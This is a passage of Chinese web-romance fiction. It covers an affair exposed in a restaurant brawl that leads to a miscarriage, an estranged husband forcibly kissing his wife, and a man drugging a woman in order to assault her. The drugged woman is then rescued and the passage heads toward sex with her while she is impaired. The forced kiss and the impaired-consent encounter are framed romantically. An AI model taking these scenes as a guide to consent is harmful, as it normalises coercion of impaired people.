半个小时后,许振清又发来消息说自己刚洗过澡,准备看会儿手机睡觉。
陆君看着这条消息,手指僵硬地回复了四个字:早点休息。
回复完她靠在车椅子上,尖锐的美甲深深陷入掌心,有液体从掌心顺着手腕往衣袖里流。
渐渐,由温热带着丝丝凉意。
陆君愣愣坐在车内,这一坐又是两个多小时,直到凌晨许振清都没有回来。
心里原本的那点不相信,在一分一秒中动摇。
但此刻,许振清出轨这件事,已经在她心里从不信变成坚信。
她的爱人,从青涩到如今自认为的幸福美满,竟然是虚假的泡沫。
陆君整个人像僵硬了一样,坐下门口的车里一直到天亮。
许振清一夜未回,陆君的心凉了个透彻。
她从家门口离开时已经七点半,别墅区里开始有人陆陆续续离开。
陆君坐的出租车刚汇到出小区的主路上,看到许振清的车从另一排别墅区出来,身后还站着一个女人正在跟他挥手。
她身体不受控制地打了个寒战,许振清竟然把小三安排在同一个小区,他是真敢呐。
想得还真周到,这样她若是突然来查岗,他还能够赶回来。
前几年因为孩子小,她还会带着诺诺时不时来住,最近两年诺诺上小学了,她的心思大部分在孩子身上,所以来的机会不多。
没想到就两年的时间,他就有了家外家。
“师傅跟上前面那辆车。”
司机已经麻木,从昨晚到现在坐在后排的人总算开口说了第一句话。
若不是她一直睁着眼,司机都要报警了。
司机原以为是她没有钥匙,现在隐隐有些明白,这怕又是一个不和谐的家庭。
出租车远远跟着许振清的车,陆君原本已经凉透的心,这会儿竟然希望里面坐的不是许振清。
甚至开始给他找理由,他出差了没有在临市,或者有应酬喝多了,直接在酒店住下了。为了不让她担心,才跟她撒谎说在家。
然而一路跟到公司,看到从车里出来的许振清,陆君脑子里所有的借口,都成了自己的一厢情愿。
看着前面风度翩翩的男人,陆君从未想过他们会有这么一天。
原本满心的爱意,在这一刻变成了满腔的怒火。
她想下去质问他,听听他的解释,但捉奸捉双,她需要足够的证据。
最起码查清楚那个女人是谁?
……
周五是第一次研讨会,也是图纸竞选,江莹周三下午跟钟宏一起到了临市。
主要是想提前了解规则,并提前去实地考察一下,这样在阐述设计观点时更充分能考虑现在的环境。
他们到时,宋瑾修依言去机场接了他们,并提前安排好了酒店。
“舅舅、莹莹,我今晚有个应酬,不能跟你们一起吃饭,你们吃完饭早点休息,明天我带你们吃饭。”
钟宏乐呵呵道:“你就早来一天,搞得自己跟东道主一样,我告诉你,明天我们可没有时间跟你吃饭。我跟莹莹要到逍遥楼遗址去看看。”
“那个地方现在还挺偏的,而且之前考古队发掘过,里面荒凉又没有人,去那里干什么?”
“跟你说你也不懂,一身铜臭味儿,哪儿懂我们的心思。”
钟宏的嫌弃,让江莹笑了,顺着他的话开口,“师哥,文人的清高,你不懂,好好挣钱吧。”
“得,我来接你们,还被嫌弃一身铜臭味儿,我图什么呀?”
宋瑾修佯装生气,瞥了一眼两人。
“你图什么,自己心里不清楚?”钟宏看看他,又看看江莹,“就你那点心思,三年前我都明白,还在我面前装。”
钟宏想撮合江莹跟宋瑾修,不是现在才有的心思,之前就有,因为看出江莹没那个想法,他就没有掺和。
但现在她要离婚了,还有谁比宋瑾修更合适,钟宏相信宋瑾修会给江莹幸福。
江莹脸上一僵,慌神两秒钟,笑眯眯道:“我去拿行李。”
宋瑾修将两人送到酒店安顿好离开,他今晚确实有事。
晚上,江莹跟钟宏一起在宋瑾修推荐的餐厅吃饭,她怎么都没有想到刚开始吃饭会看到许振清带着一个女人和孩子来吃饭。
江莹发誓,她真是无意中看到他们的。
然而,在她想躲开目光时,已经来不及。许振清身边的女人微愣后,冲她点点头。
女人的动作,引起了许振清的注意
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,他顺着女人的目光看了过去。
看到江莹的那一瞬,许振清整个人如遭雷击,抬起的脚步甚至都不知道该怎么放下,所以身体猛地往前一栽。
若不是被他身边的女人扶住,他怕是直接会趴在地上。
明知躲不过,许振清认命地走向江莹,“什么时候来的?”
除了刚刚的失态,这会儿许振清已经强迫自己平静下来,心里庆幸,幸好眼前的人是江莹。
江莹痛恨出轨的人,张启明、陆砚深,都是婚内出轨,现在还有一个许振清。
前两个人她是真的恨,然而许振清她却恨不起来。
是因为交集少,跟自己不算亲近。
更是因为,她知道许振清在陆家的境遇。他回陆家没有人真的把他当自己人,家里的大事小情也从来没有人会问他的意见。
这三年,江莹真切的体会到了他的尴尬,跟自己一样的尴尬。
“下午刚到。”江莹起身微微勾唇,嘴角的肌肉却不受控制地颤了颤,“来出差。”
“爸爸,肚肚好饿。”
站在许振清旁边的孩子看大人说话,有些着急。
“既然是熟人,一起吧,我们也刚开始吃。”
女人温柔地将孩子抱了起来,只是还没有抱在怀里,许振清就把孩子接了过去,看得出他对女人很体贴。
他道:“不打扰了,我们去另外一桌。莹莹,我的事……”
江莹汲了一口气,无奈道:“我什么都不知道。”
女人感激道:“谢谢你姐姐!我是杨慧,我表哥说你很善良,他的眼光不错。”
杨慧温温柔柔,确实是个让男人很容易生出保护欲的人。
钟宏在一边看着几人的神色,有些迷茫,感觉怪怪的。
江莹没有接话,脸上的笑意有些牵强。
面对一个小三,她不知道该用什么样的表情,这人不无辜,从她骗宋瑾修说自己老公忙出差,可以看出她不是不知道许振清有家室。
“莹莹,谢谢你!”
许振清说完带着女人和孩子离开。
杨慧临走笑道:“姐姐,上次见到我表哥,他说喜欢你很多年了,这些年一直在等你。”
江莹怔了一瞬,正不知道该说什么,身后冲进来一个人,一把揪住女人的头发。
第96章 被人抵在门板上
“嘶…啊……”
杨慧吃痛,嘴里发出惨叫。
紧接着身后上来两个黑衣保镖,直接将许振清困住。
陆君扯着杨慧的头发,让人旋转过来,两人面对面的瞬间,她抬手就是两个耳光。
动过干净利落,声音响亮。
看着杨慧原本白金的小脸,瞬间显现两个巴掌印,江莹倒抽一口凉气。
她怎么会在?
许振清看清人,紧张道:“陆君,对不起你的人是我,你放开她。”
他怀里的孩子看到自己妈妈被打,哇哇大哭,“妈妈,妈妈……呜呜……”
江莹看孩子哭,心里挺不是滋味儿,大人的错却连累孩子。
想到自己的孩子她稍稍往后退了一步,不想被殃及。
然而,许振清的求情,加重了陆君心里的恨意,她猛地将杨慧甩了出去。
恨意凝聚的力道,让杨慧踉跄着后退了两步,后腰直接撞在了身后的桌角上。
一阵吃痛,让她脸色煞白眉头紧皱,扶着桌角一动不动。
“慧慧……”
许振清焦急地跟保镖拉扯,却始终不能靠近杨慧。
“陆君,你冲我来,错的是我,不是她。”
钟宏这会儿算是明白了,原来这位是江莹的大姑姐和姐夫,还是一场抓小三的大戏。
没想到来吃个饭,竟然成了吃瓜第一线。
江莹不知道该走还是该溜,陆君那么骄傲的人,这会儿心里一定是恨极了。她环顾四周,另外两名保镖已经开始清场子,走已经来不及。
“许振清,你太让我寒心了,到现在你还护着她。”
陆君刚开口,原本盛气凌人的眸子瞬间落泪,“我们十几年的感情,我那么相信你,你就是这么对我的。”
“四年了,你是怎么做到毫无愧疚的?”
许振清脸色苍白,薄唇紧闭。
“一直信誓旦旦说自己身边没有女人。”陆君说着嘴角扯出一抹笑,泪水顺着嘴角落入口中,“这些年我从来没有怀疑过你,没想到你也玩儿起了养秘书的游戏。”
“陆君,是我对不起你。”
许振清声音有些底气不足,但也没有为自己的行为狡辩。十几年的感情,他真心爱过陆君,为了跟她在一起,付出了很多。但这份感情在日常的琐碎中渐渐被消磨。
尤其是在她不愿意为了他离开陆家这件事上,他拗不过。但一个男人,常年身边没有女人,休假回家面对的还是一圈人的不冷不热。
再深的感情也会被消磨掉吧?
杨慧大概是四半年前到公司的,大学刚毕业,年轻漂亮、说话轻轻柔柔,娇弱得像是经不起风霜的花骨朵。
许振清对她确实有好感,但从没有想过会跟她怎么样,抛开别的不说,陆君对他是全心全意,他还是很看重他们十几年的感情。
在一次应酬中,他多喝了两杯,因为酒里被人加了料,药物的推动下,他对杨慧做出了不可挽回的事。
而算计他的人,也将他和杨慧的事作为把柄,这些年一直要挟他。
后来,在工作和外部双重压力下,杨慧成了他的解语花,不求回报,用她微弱的光,温暖着他,他们自然而然就在一起了。
陆君很想听到他狡辩,最起码说明他心里还是有她的。
她甚至做好了把证据甩到他脸上的准备,万万没有想到他竟然一声都不辩解。
昨晚她在他们住的房子外面,亲眼看到了其乐融融的一家三口。许振清下班后陪着孩子在院子里玩儿了很久,那样的父爱自己诺诺没有得到过。
“许振清,现在不是你忏悔的时候,回江北你有的是时间。”
她说着看向杨慧,“我的男人,你也干碰。”
说话间,抬手又一个耳光甩在杨慧脸上。
这一耳光,像是打在了许振清脸上,让他心颤。跟了自己四年的女人,从来没有提过要求,一直乖乖地当个隐形人,如今被陆君这么打,他心里的愧疚滋生出恨意。
“陆君,别再动她。”
陆君睨了他一眼,目光转向了江莹,咬牙道:“吃里扒外的东西,你还给他打掩护。”
江莹眨眨眼,她要笑发财了,难不成要她打电话直接告诉她,她老公出轨了,在外面有女人有孩子。
凭什么呀?凭她对自己很好吗?
知道躲不过,她直接开口回怼,“大姐,我跟你弟要离婚了,你们家的事我本来就管不着。再说了,你自己不是喜欢跟小三交好,现在姐夫也给你带了个三姐回来,你和陆宁刚好加上她们刚好凑成一桌,一起搓麻将都不用打电话叫人了。”
她平时没事就喜欢叫几个豪门太太一起打麻将,因为江莹不会打,被她嘲笑,还时不时叫她回去学习怎么经营太太圈。
说是学习,其实就是给回伺候她们,端茶倒水洗水果。
“你……”
陆君瞪圆眼,抹了把脸上的泪,气得直接扬起了巴掌。
江莹是她今晚另一个想打的人,许振清都要往后排。
“哎,这事跟江莹可没什么关系,我们也是刚知道。再说了你们夫妻间的事,她即便跟你说了,你也不见得会给她好脸色。”
钟宏站起来直接握住她的手腕,将人往后一推,走到江莹身边,将她护在身后。
“她敢说人这个女的不认识?”
陆
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君站在门口看得清楚,江莹看到他们一点都不觉得惊讶,还暗暗跟那个女人打招呼。
“认不认识,和你老公出轨事两码事,认识就说明知道你老公出轨?”钟宏不屑,“那我们莹莹认识的女人多了,都是你老公的情人?”
陆君再次语塞。
孩子的哭声,夹着大人之间的争吵声,餐厅成了大型斗三现场。
“陆君,别迁怒无辜的人,这件事本质是我们两人的事。让其他人都走,我们俩聊聊。”
没等陆君开口,只听杨慧弱弱道:“振清,我……肚子疼……孩子……好像……”
她说话间,许振清看到她身上的白色羊绒裙上有血渗出。
许振清瞬间慌了,他拿出手机打电话,却被保镖直接抢了过去。
杨慧刚刚查出怀孕两个月,应该是被刚刚那一下撞的。
“陆君,别让我恨你。”
陆君这下也注意到了杨慧身上渐渐加深的血迹,脸上神色由气愤变得更加绝望。
她直接瘫坐在一旁的桌椅上。
直到许振清把人抱起来急匆匆往外走,叮嘱儿子跟紧他,陆君都没有再说话。
江莹看着许振清抱着人离开,身旁跟着一个小小的孩子,心里揪得慌。
她没想到会这么巧遇到这一幕,饭显然吃不下去,于是低声道:“老师,我们走吧。”
钟宏叹气,好好的一顿饭,吃成这样。
回到酒店,钟宏看她神色不好,笑眯眯道:“来的时候我看转角处那家甜品店生意不错,你先上去,我去买点,咱爷俩凑合吃两口。”
“老师,我不饿。”
“不饿也得吃,刚才还没吃几口就闹那么一出,跟我出差,还让你饿肚子传出去别人该说我**自己学生了。”
江莹知道是老师的一片心意,笑道:“那行,我要吃草莓慕斯。”
“好嘞,回去等着。”
江莹看着钟宏宠溺的笑,心里笼上一层暖意,或许父爱就是这样温暖。
江莹回到酒店刚收拾好衣物,听到有敲门声以为是钟老师过来给她送资料,心想这小老头儿还挺快。
她笑呵呵去开门,“这么快就拿……”
江莹话还没说完,一双有力的大手揽着她的腰,将人往客房带。
突如其来的道让她心慌,“你干什么?”
随着她声落,房门“嘭”一声关上。
一个转身自己被人抵在门板上,头被男人压在他胸口。
江莹心里咚咚直跳,拼尽全力挣扎,但男人力道太大她根本挣脱不了,整个人被他贴着,后背抵着门板。
“你……你放开我。”加重的恐惧让她声音发颤。
第97章 抱歉,孩子没保住
抵在她身上的人没有说话,但胸腔却有明显的震动。
男人身上熟悉的木质香调钻入鼻孔,让她心里的恐惧有那么一瞬间停滞。
继而,慌乱紧张的心跳渐渐平复不少。心底的恐惧随之消散,思路开始变得清晰。
“陆砚深,你放开我。”
一直憋着的人突地笑断声,胸腔的震动传到江莹脸颊昭示着他此刻心底的愉悦。
“看来你很了解我的身体。”
男人低沉清冷的嗓音染了笑意,在静密的室内显得格外好听,按着江莹后脑勺的手随之一松。
江莹抬头对上他漆黑如墨的眸子有那么一刻失神,若是之前她怕是感动得要哭,从江北到临市,她刚安顿好,这人就过来了。
若是热恋中的情侣,惊喜和感动会让人一头扎进他怀里,然而经历了太多失望,还有秦欣也在临市,江莹不敢往自己脸上贴,这人怎么可能是追她来的?
也有可能是知道了许振清的事,毕竟陆君受了委屈一定不会憋着,陆砚深是她的底气,所以也有可能是娘家人来出气的。
“这么看着我——感动?”
某人唇角微勾,打量着她,那份自信与笃定让江莹碍眼。
“陆砚深,你有病去看,在我面前刷存在感呢,阴魂不散。”
陆砚深抬手捏住她的下巴,“小嘴跟淬了毒一样,跟别人有说有笑,见了我就这个态度?”
江莹推他,“确实淬了毒,**,毒死你个王八蛋。”
刚经历出轨大戏,她觉得自己有些窝囊,陆君可以打小三,她却没有那种机会。
陆砚深挑眉,“那我偿偿**是什么味儿,不能让你白涂。”
说着低头吻住那张粉嫩诱人的红唇。
狗东西为了他的小情人对游乐园的事轻拿轻放,是处罚了那个监理,但真正的幕后黑手并没有得到罚。
她索要的交代被狗男人用别的来弥补,反正就是护着。
江莹被他吻得上不来气,胃里有些翻涌,她挣扎着锤他。
“陆……,你放……”
嘴里溢出的声音被陆砚深尽数吞没。
推不动,挣不脱,胃里翻涌得厉害。
越是抗拒,狗东西越是用力,江莹强迫自己放松下来。
果然,她的放松,让陆砚深渐渐松懈,吻着她的动作温柔了几分。
在陆砚深撬开她齿关的那一刻,江莹胃里的反应压抑不住。
她猛地推开已经放松,全部精力都用在吻她的人,直接往卫生间跑。
陆砚深担心地跟着她走到卫生间门口,紧接着传来一阵干呕区声,让某人瞬间黑了脸。
江莹缓过来从里面出来,撞上黑着脸的男人。她正想着怎么解释,某人咬牙开口,“江莹,你什么意思?”
看他这反应,知道他误会,她本来还没往他以为的那个方面想,看他脸黑得能滴水,顺势弯唇笑道:“看不出来恶心吗?”
陆砚深黑着脸,眼尾猩红,“我亲你一下这么大反应,你喜欢谁亲你?”
江莹冷笑,“别人用过的男人跟刷过桶的牙刷一样让人恶心,你说你要知道自己的牙刷被人刷过马桶,你会是什么反应?”
陆砚深抬手捏住她的唇,恨不得把她的嘴缝上。
说到牙刷和马桶,江莹突然想到张启明这段时间跟消失了一样。
“我们还没有离婚,你给我本分点。”
陆砚深咬牙,江莹却笑了,“还剩十八天,我等得起。”
“有没有看过日历,期满那天是正月初五,不上班,确切来说是二十天。”
江莹抬了抬眼,她还真没有看日历,这个样又得多等两天。
陆砚深看她皱在一起的小脸,脸色更不好看,“下家等不及了?”
江莹瞪了他一眼,“你来干什么?”
“出差,考察分公司。”
“你是不是听说什么了?”
分公司一直是许振清在打理,没有听说有什么经营问题。陆君已经知道许振清出轨,他会不知道?
“你这么说,是你知道了什么?”
狗男人反应真快,江莹转开脸,“我知道的是我知道的,凭什么告诉你?”
陆君和许振清的事,他早晚会知道,江莹只是不想当这个传话人,以免惹得一身骚。
只是不知道杨慧肚子里的孩子能不能保住。
“赶紧走,别让我反胃。”
听到反胃两个字,陆砚深磨了磨后槽牙,冷冷留下一句“明天晚上跟我一起跟姐夫吃饭”,脸色阴沉可怖地转身走人.
紧接着是“嘭”一声关门声。
吓得江莹心里一咯噔,气得开门想骂他两句,却看到秦欣上来亲昵地挽住他胳膊,声音娇软,“砚深,你房间在1206吗?怎么跑1209了?”
陆砚深推开她,声音冷淡,“有事?”
听他这声音,红莹心想狗东西应该是气得不行,要不然对自己小心肝怎么这种语气.
秦欣也不生气,软绵绵道:“轩轩好没见
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你,很想你,听说我们在一起,非要跟你视频。”
陆砚深没有说话,开门后两人一起进去。
江莹站在门口苦笑,还好自己没有自作多情,给她的不是惊喜是苦涩。而给秦欣的是底气,连这样入不了陆砚深眼的项目,为了秦欣他都愿亲自过来。
爱与不爱,在陆砚深心里从来都不遮不掩。
也是她怎么能跟秦欣比,他们可是有一个孩子的。
为了这么个狗男人失神不值,人在房间不知道怎么亲热呢,江莹苦笑关门。
这时钟宏打来电话,说甜品店关门了,江莹说自己也不想吃,让他赶紧回来休息,明天还要去逍遥楼遗址考察。
挂了电话,左思右想还是给宋瑾修发了条消息,毕竟是他表妹,还是跟他说一声好。
而此时的陆君,坐在医院的走廊里,看着抱着孩子在手术室门外走来走去的男人,心里是无边的讽刺。
所有的一切陆君都看清了,现实比她想象要残忍。
许振清身上沾了血,整个人偶些狼狈。没有跟她说一句话,甚至都没有给她一个眼神。
他边哄怀里的孩子,边担忧地望着手术室。
曾经满心满眼都是她的男人,现在在为另一个女人担心,眼里和心里都没有她。
手术室的门开,医生摇了摇头,“抱歉先生,孩子没有保住。”
“大人怎么样?”
“失血过多,还在昏迷,身体上的损伤需要慢慢养。”
许振清脸上肉眼可见的松了下来,“谢谢医生,辛苦了。”
护士推着杨慧从手术室出来,许振清看着脸上毫无血色的女人,心里的愧疚和自责更重。
这时,佣人赶来,接过他怀里的孩子,“先生,杨小姐……”
“辛苦你先跟着去病房,找个护工,然后把孩子带回去。”
佣人接过孩子扫见坐在旁边的陆君,瞬间缩了缩脖子。
她是陆君找的,负责照顾许振清的生活。
“太…太太!”
陆君已经没有心思去想计较她的欺骗。从时间上算,她前年带着孩子来时,许振清已经跟杨慧在一起,佣人当时应该帮着许振清一起骗了她。
“这几天辛苦你带诚诚几天。”
保姆点头,抱着孩子匆忙离开,不敢再看陆君。
陆君面无表情看着自己眼前的一幕,这应该就是彻底心凉后的平静。
佣人抱着孩子离开,许振清看向陆君,走过去在她身边坐下。
第98章 越辣征服起来越带劲
两人默默坐着,谁都没有说话。
今晚陆君找了四个保镖,本来是想到家里捉奸在床的。但看到江莹跟杨慧认识,瞬间气不到一处来。
女人勾引她老公,而这个女人她表哥还公开惦记她弟媳妇。
而手机里给她发消息的那个人明确告诉她了许振清和杨慧吃饭的地方,
那个人一直叫她大姐,看到江莹那一刻,她就认定那个人是江莹,心里的愤怒蹭一下子就起来了。
十分钟后,许振清艰难开口,“陆君,是我对不起你,你想怎么办,我都尊重你的意见。”
他了解陆君,以她要强的性格,她既然知道了,这段婚姻就没有再存续的可能。
陆君没有直接接话,而是沉默了一阵,缓缓开口,“许振清,你有没有苦衷,我在你心里还有没有位置?”
她在怎么强势,也是个女人,是个依旧全心全意爱着他的女人。
许振清内心是矛盾的,强势的陆君让他讨厌,尤其是在经历了杨慧的善解人意,让他跟觉得大小姐刁钻不好伺候。
但,这一刻的陆君,让他也同样心疼,青春年少的爱恋,两人经历了很多美好,不可否认,陆君很爱他。
若不是三年前那件事,他也认为自己会爱陆君一辈子。
即便不在他身边,依旧把他身边的事安排好。会定期给他定制衣服,连同内衣袜子都是她买好寄过去的。
苦衷,他能说吗?
他已经在曾经的苦衷里,迷失太久,久到不想回头,对方也不会让他回头。
若曾经的错是被人算计,但这三年的沉迷,切切实实是他自己的选择。
“你在我心里十五年,一直是唯一。现在我不能骗你,骗你你也不会相信。但在我心里也不是完全没有你的位置,只是我的心乱了,我配不上你。”
陆君笑了,这话说的,如果不是她了解许振清,她会以为他在说谎,就是为了安慰她。
“所以你想离婚?”
陆君这话说出口,许振清沉默了。
离婚的念头,他想过不是一天两天,始终下不了决心。
父母劝他离婚,都说杨慧更适合他,大小姐富家千金根本就看不上他们家。
这也是确实存在在他们家的问题,老两口几年都没有见过自己孙女。
“我是觉得已经对不起你和诺诺,不能再对不起杨慧,她和孩子也是无辜的。”
陆君没有说话起身,从包里拿出自己之前准备送他的礼物,放在桌以上。
“这是你离开江北时准备送你的礼物,当时只顾哭没来得及给你。上车才发现,跑回去找你,却看到你抱着孩子跟另一个女人一起登机。”
离婚,她没有说同意,也没有说不同意,转身走的时候,因为腿麻踉跄着差点摔倒。
许振清去扶她,被她推开。
看着她有些摇晃的背影,许振清心里揪紧。
他蹲在座椅上,拿起陆君给他准备的礼物,眼泪模糊了视线。
若是没有三年前那件事,是不是就不会有今天这些事?
陆君从医院出来,天上下起小雨,她苦涩地笑了下,自己算是歹毒的妻子,还是大度的妻子?
竟然陪着自己丈夫等到小三流产手术结束。
许振清到说出离婚他都没有发脾气,甚至连句大声说话都没有。
反而透着隐忍,像是他也并不舍得。
她没有叫车,麻木地走在街上,仿佛感觉不到冷。
江莹洗漱完,确认老师已经回到房间,便躺在床上。
心里烦给梁玥发消息:有瓜吃吗?
梁玥这会儿哪有时间回她消息,晚上跟着沈斯阳当他的小跟班。
没想到在上了趟卫生间,碰上了张斌。
因为江莹,他俩不对付,张斌喝了点酒,看到她开口就找打的节奏。
“哟,这不是江莹的跟屁虫,那只母夜叉吗?”
张斌身边的两个人瞬间笑了,看着梁玥眼神黏腻。
“这小妞看着长得还不错,母夜叉更带劲。”他抬手指着梁玥,跟身边人说。
“张少,要不我们玩儿玩儿?”
“喜欢?”
张斌皱眉看着一脸淫笑的**。
“长得虽然没有你堂妹那么正点,但也不差呀。哥儿几个光看着你堂妹YY,也不解渴不是?”
“对呀,张少,你不会每次都看着手机里的照片爽吧?”
“胡说,其实我也喜欢辣一点的,征服起来特别带劲。”张斌说着往前凑近。
梁玥退无可退,被抵在墙上,看着几乎贴到她脸上的另一张脸,心里犯恶心。
污言秽语就算了,现在还想亲她,让梁玥忍受不了,抬起胳膊一拳对着张斌的鼻子挥了过去。
“我看你长得就挺带劲。”
一拳下去,张斌直接挂彩,鲜血顺着鼻孔往外流。
“滚开,别挡了你姑奶奶的路。”
三个贼眉鼠眼的人,梁玥不怕他们,毕竟是公共场所。
“**……,看老子不弄死你。”张斌说着去扯梁玥,
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并让身边的朋友帮忙,“把她给我弄包间去。”
“张斌,你别找死,这里是会所,不是你家。”
一个人梁玥是不怕的,但现在三个人同时上手,她不由往后靠了靠。
“哥儿几个请你喝酒,怎么就找**?”张斌有恃无恐。
旁边有人经过,张斌身边的**笑道:“妹妹,别紧张,张少请你喝酒是你的荣幸,交个朋友嘛。”
路人走过,三个人一起连拖带拽把梁玥拖到了他们包间。
在其中一人松手去关门的瞬间,梁玥瞅准机会对着张斌就是一脚,直接踹在他膝盖上。
张斌痛得捂着膝盖直咬牙。
梁玥趁机一脚踩在唯一一个还挟持着她的人脚面上。
单打独斗她不怕他们,但这种聚众型,还是走为上策。
关门那个人转身回来看到梁玥收拾了张斌他俩,很怂地往后退。
梁玥不恋战,没有搭理他,抬手去开门。
就在她手碰到门把手时,张斌冲了过来,从口袋里拿出一个不明物体,直接捂住梁玥的口鼻,气味儿还有点香甜。
“小**,知道你辣,没想到你还挺能打。”
梁玥被他一手捂着口鼻,一手勒住脖子,抬起胳膊就往后用力。
却被紧接着过来的人按住。
“虎子,怂什么,被一个女人以一敌三说出去很光荣?”
梁玥挣扎,她没想到张斌竟然敢这么嚣张?
只是越挣扎,越觉得不对劲儿,身体开始用不上力,越来越发软。
“死丫头,江莹那个小**有陆砚深兜着,我不能动。你,我还能让你嚣张。”
他们俩的梁子在江莹嫁给陆砚深前就结下了,他知道江莹的身世,所以一直觊觎江莹。
当时梁玥撞见过他趁江莹趴在桌子上睡着摸她的脸,她上前就把张斌的咸猪爪打掉。
这并不是梁玥真正讨厌他的原因,而是他每次怂恿张启明对江莹施压,让她找陆砚深拿好处要项目。
一个侄子,在江莹妈妈出事之后,堂而皇之成为公司副总,还处处为难江莹。
“张斌,你敢动我,我光脚的不怕你穿鞋的,一定会让你付出百倍代价。”
“那得看看你有没有这个能力。”
“张少,还是你有办法。”
张斌挑眉,“我先玩儿。”
他拉开包间的门,揽着梁玥的腰往外走。
刚走到会所门口,身后传来一道清冷的声音,“梁秘书,这事准备翘班跟男人约会?”
第99章 要不我们睡一次
张斌并不知道身后人说的梁秘书就是梁玥,依旧带着她往外走。
梁玥浑身开始发烫发软,只觉恶心,本能挣扎却一点都用不上力,从后面看着像是倒在男人怀里亲密无比。
因为生气,甚至没有听到沈斯阳的冷讽。
“滚…开,别碰我!”
她软绵绵的拒绝,非但没有让张斌停止,侵犯她的欲望更胜。
“别逞强,你都站不稳了。”
他拖着梁玥喜不自胜,这丫头看着瘦,但摸着肉肉的,手感真不错。
“梁玥!”
一道森冷的声音再次传来,砸在张斌耳边。
张斌听到有人叫梁玥的名字,就已经心里打鼓。转头对上沈斯阳那双冷冽的眸子,腿一软,差点跪下。
“沈总,好巧。”张斌稳了稳情绪,脸上带着讨好的笑。
且不说沈斯阳是陆砚深的好基友,就单说沈家也不是他平时可以攀上的。
看梁玥神色不对,沈斯阳皱眉,“你怎么了?”
张斌以为是跟他说话,“哦,没什么,刚就是见到沈总激动,我女朋友喝多了,我带她回去休息。”
梁玥看到沈斯阳,心里防线松下来,“沈斯阳,救……”
张斌捂住梁玥的嘴,“沈总,不打扰了,她醉得一塌糊涂。”
沈斯阳看梁玥直勾勾盯着自己,更觉不对,刚才就没有让她喝酒,怎么就醉了?
也从来没有听她说自己有男朋友。
沈斯阳大步上前,一把推开张斌,将软软的梁玥稳稳接进怀里。
梁玥眨了眨迷蒙的双眼,“沈斯阳,我难受……”
说完像藤蔓一样缠了上去,纤细的胳膊攀上他的脖梗,小脸在他颈窝蹭着,灼热的呼吸喷洒在他肌肤上,带着致命的香甜。
“热……”
梁玥无意识地呢喃,小手不安分地撕扯着自己领口的衣物。
沈斯阳阅人无数,怎么可能不明白现在是怎么回事?
他喉结滚了滚,眸色暗沉得能滴出墨,弯腰直接将人抱了起来。
转身离开之际,凌厉的眼神扫过张斌,声音冰冷,“今晚的事,我会跟你好好算。”
张斌面如死灰,知道自己踢到了铁板,怎么就碰到了沈斯阳,而且跟沈斯阳关系好像还很熟。
车上,沈斯阳刚坐进去,梁玥便往他身边凑。
虽然有些迷糊,但眼前的人是沈斯阳,她知道。
但身体里持续增加的热浪让她控制不住自己的行为。
沈斯阳往一旁又挪了挪,“坐好,先忍一下。”
男人低沉的声音,像一缕清凉的风,让她浑身说不出的兴奋。
“我难受。”
沈斯阳控制着自己不去看她,但架不住女人软糯的声音和香甜的气息,几乎无孔不入。
一向不矜持的人这会儿意识到男人装矜贵特么就是**,他隐隐也觉得燥热。
“沈斯阳,我热,你帮我解开这个扣子。”
梁玥无意识地扯着自己领口,他一点力气都使不上。
沈斯阳蹙眉,转脸视线碰上女生胸前的起伏,明明不是他喜欢的波涛汹涌型,但这会儿竟然在一起一伏间格外勾人眼球。
而此时正有意无意地蹭着他的胳膊。
梁玥因为倾着身,腰肢和臀线更加优越,无时无刻不考验着他的自持力。
司机是他的助理,在前面偷笑,梁秘书之前看着挺虎,没想到还有这一面。他觉得是看戏的心里,自己老板啥时候被女人这么磨还装君子的。
沈斯阳正难受,对上助理看好戏的眼神,冷冷瞪了他一眼,“不想开就下去?”
“那我靠边停?”
助理以为他要在车里办事,很有觉悟地打了右转灯。
沈斯阳咬牙,抬脚踹了一下车椅,“送她去医院。”
说完,按住梁玥为非作歹的手,任凭女生在他怀里摩蹭。
“我不去医院,我要回家。”
梁玥现在只想快点回家洗澡,太热了。
她一开始还不知道怎么回事,意识到自己可能中药后,要紧了牙关。
心想自己写了这么多剧本里女主中药的剧情,现在轮到自己了。
好不容易熬到家,梁玥用尽全力下车,让自己不至于瘫软。
“谢谢沈总。”
趁着意识还没有丧失,梁玥想赶紧走人,只是她这会儿身体已经满足不了大脑的支配。
刚迈步,腿就一软,摇摇欲坠之际,沈斯阳快速将人。
“要不送你去医院?”
梁玥摇头,不是因为别的,主要是受不了别人用那种审视的眼光看她,好像她不干净一样。
“就闻了不该闻的气味儿,我回去冲个澡就行。”
“我送你上去。”
看她站都站不稳,沈斯阳难得当好人。
电梯
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里,男人身上自带清凉,让梁玥不由自主想靠近。
明知这种清凉就像**花,美却不能碰。
但身体里热意持续飙升,像是有东西在啃咬她,让她明知是错,还忍不住要想要靠近。
沈斯阳长得帅气,不嘴欠时人模狗样特别招人,就像此刻,眉眼深邃下颌线紧绷,正经得不能再正经。
梁玥看着他心脏咚咚直跳。
美色当前,加上身体里的药物作怪,她忍不住仰起头,嘴巴贴在他喉结上。
沈斯阳喉结时不时上下滚动,让她莫名想要知道那里的触感。
换女人如衣服的某人,猛然往后退了一步,后背抵在电梯壁上,扶着她的手却没有松。
“你知不知道自己在做什么,冷静点。”
冷淡的声音里带着掩藏不住的沙意。
沈斯阳自认为自己还是很讲规矩的,对于身边的女性,或者朋友,他从来不碰。
“装什么正经,我都没嫌弃你脏。”
沈斯阳:“……”
脑子和行动不能统一,他懒得跟她废话。
电梯到达梁玥所住的楼层,他扶着软绵绵的人出来。
将人送到家,沈斯阳打算撤退,但看她小脸红扑扑蜷缩在沙发上,心里又不认。
转身去卫生间拿了毛巾用冷水打湿。
再出来,蹲在沙发边上帮她擦脸。
突如其来的凉意让梁玥一个激灵,随即像是找到了救命稻草,抓住他的手腕。
原本以为就闻了点药,熬一会儿就过去了,没想到这么难熬。
她白皙的肌肤泛着诱人的粉,一双桃花眼水光潋滟,迷蒙地看着沈斯阳。
两人对视几秒,梁玥胳膊不受控制缠上他的脖子,仰头去吻他。
触碰到的一刹那,沈斯阳下意识往后躲,理智告诉他不可以。
但女人绵软不受控制往下倒时,他又忍不住上前。
梁玥现在的脑子已经没有刚刚进门时的清醒,她难受,只知道很想靠近眼前的人。
再次贴在一起,梁玥双手抱着他的脖子,生涩地在他唇上有一下没一下的触碰。
毫无章法的触碰,击碎了沈斯阳心里的那道防线,他扔下毛巾放任自己搂着她化被动为主动。
梁玥感觉自己要被点燃,不受控制地往他怀里又贴了贴。
娇喘中溢出一句话:“沈斯阳,要不我们睡一次?”
第100章 你家有没有哪个
卧室,床上。
